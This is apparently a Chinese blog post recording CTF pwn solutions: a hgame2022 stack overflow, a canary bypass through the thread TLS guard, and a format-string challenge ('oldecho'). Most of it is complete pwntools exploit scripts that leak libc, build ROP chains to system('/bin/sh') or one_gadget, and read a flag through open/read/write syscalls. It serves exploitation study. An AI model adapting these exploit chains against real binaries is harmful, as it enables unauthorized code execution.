pwn栈题记录

特别溢出GDB调试

hgame2022 enter_the_pwn_land

image.png

image.png

image.png

这里有个变量记录输入字节数,如果直接溢出会导致不能正常溢出而是一直累加,这里‘1’能绕过

EXP

from pwn import *
context.log_level='debug'
rdi=0x0000000000401313
ret=0x000000000040101a
r=process('./1')
def pwn():
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    elf=ELF('./1')
    # gdb.attach(r,"b *0x4011E4")
    pay=b'1'*(0x33)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
    r.sendline(pay)
    r.recvuntil('\n')
    leak=u64(r.recv(6)+b'\x00'*2)-libc.sym['puts']
    print(hex(leak))
    sys=leak+libc.sym['system']
    sh=next(libc.search(b'/bin/sh'))+leak
    #gdb.attach(r,"b *0x4011E4")
    pay=b'1'*(0x33)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
    r.sendline(pay)

pwn()
r.interactive()

多线程溢出绕过canary

enter_the_evil_pwn_land

题目和上一题一样,但添加了canary
在使用pthread时,这个TLS会被定位到与线程的栈空间相接近的位置,所以如果输入的数据过长的话也可以把这里覆盖掉,就可以改掉stack_guard的值了。从而绕过金丝雀。
相关文章
thread stack bypass canary和sixstar ctf babystack writeup | Sakuraのblog (eternalsakura13.com)
starctf2018 babystack (ble55ing.github.io)

EXP

from pwn import *
context.log_level='debug'
context.arch="amd64"
rdi=0x0000000000401363
ret=0x000000000040101a
rsi=0x0000000000401361
bss=0x404000+0x500
levae=0x4011FF
'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''
r=process('./2')
def pwn():
    libc=ELF("./libc-2.31.so")
    elf=ELF('./2')
    pay=b'\x00'*0x30+p64(bss-0x8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(levae)
    pay=pay.ljust(0x950,b"\x00")
    #gdb.attach(r)
    r.sendline(pay)
    #raw_input()
    r.recvuntil("\n")
    leak=u64(r.recv(6)+b'\x00'*2)-libc.sym['puts']
    print(hex(leak))
    r.sendline(b'\x00'*0x30+p64(1)+p64(leak+0xe6c81))

pwn()
r.interactive()

bss段格式化字符串

oldecho

image.png

image.png

思路

题目有循环的格式化字符串漏洞,在之前关掉了标准输出流,给了一个栈地址,开了沙箱。这题最后也可以leaveret栈迁移到bss,这里直接在环境变量区域写flag了。
要用orw但关闭了标准输出流

EXP

from pwn import*
p = process('./oldecho')
elf = ELF("./oldecho")
libc = elf.libc
context.log_level='debug'

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)
## 接收栈地址
p.recvuntil("Gift: ")
stack=int(p.recvline(),16)
lg('stack',stack)
p.recvline()

# 通过调用一个函数抬一次栈,再调用一个start函数,栈上就会剩下_IO_2_1_stdou_指针
p.sendline("%"+str(stack%0x100-0x20)+"c%6$hhn")# rsp
p.sendline("%"+str(0xA90)+"c%10$hn")# rsp->__libc_start_main

stack=stack-0x110
lg('stack',stack)

# 找一个不影响程序流的地方改stdout_fileno
p.sendline("%"+str((stack+0xa0)%0x100)+"c%14$hhn")# stdout
p.sendline("%"+str(0x90)+"c%40$hhn")# stdout_fileno
p.sendline("%"+str(0x2)+"c%29$hhn")
p.recv()

# 泄露libc和bss地址
p.sendline("%13$p;%9$p;")
libc_base = int(p.recvuntil(';',drop=True),16)-libc.sym["__libc_start_main"]-240
pie = int(p.recvuntil(';',drop=True),16) # bss+48 buf
lg('pie',pie)
pop_rax=libc_base+0x3a738
pop_rdi=libc_base+0x21112
pop_rsi=libc_base+0x202f8
pop_rdx=libc_base+0x1b92
syscall=libc_base+0xbc3f5
puts = libc_base + libc.sym['puts']

payload=''
payload+=p64(pop_rax)+p64(2)+p64(pop_rdi)+p64(pie+0xb0+0x20)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(syscall)
payload+=p64(pop_rax)+p64(0)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(libc_base+libc.sym['environ'])+p64(pop_rdx)+p64(0x30)+p64(syscall)
payload+=p64(pop_rax)+p64(1)+p64(pop_rdi)+p64(libc_base+libc.sym['environ'])+p64(puts)
payload+='flag'

# set jmp2payload 修改程序流控制rsp及其下方
'''
0x0000000000000edd: pop rsp; pop r13; pop r14; pop r15; ret;
'''
p.sendline("%"+str((stack-0x8)%0x100)+"c%6$hhn")# 链入
p.recv()
p.sendline("%"+str(0xedd)+"c%10$hn")
p.recv()
p.sendline("%"+str((stack-0x10)%0x100)+"c%6$hhn")# 链入
p.recv()
p.sendline(("%"+str(0x3f)+"c%10$hhn").ljust(0x18,'\x00')+payload)# retn

p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,843评论 6 502
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,538评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,187评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,264评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,289评论 6 390
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,231评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,116评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,945评论 0 275
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,367评论 1 313
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,581评论 2 333
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,754评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,458评论 5 344
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,068评论 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,692评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,842评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,797评论 2 369
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,654评论 2 354

推荐阅读更多精彩内容

  • 07.19 CTF特训营---REVERSE阅读P208——P 1、X86指令体系 寄存器组 汇编指令集:Inte...
    gufsicsxzf阅读 1,475评论 0 0
  • 新手练习 CGfsb 简单的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv阅读 3,255评论 0 6
  • 一、bugkuctf pwn4(栈,ROP,system($0)) 图1很容易看出来read函数栈溢出 紧接着就是...
    ywledoc阅读 1,604评论 0 1
  • 网鼎杯第一场wp guess防护机制:image.png 开启了canary和NX 简单的看了下反编译的逻辑 发现...
    zs0zrc阅读 1,985评论 0 4
  • BUUCTF Pwn Part3 1.[第五空间2019 决赛]PWN5 环境:ubuntu16 1.checks...
    joe1sn阅读 1,199评论 0 1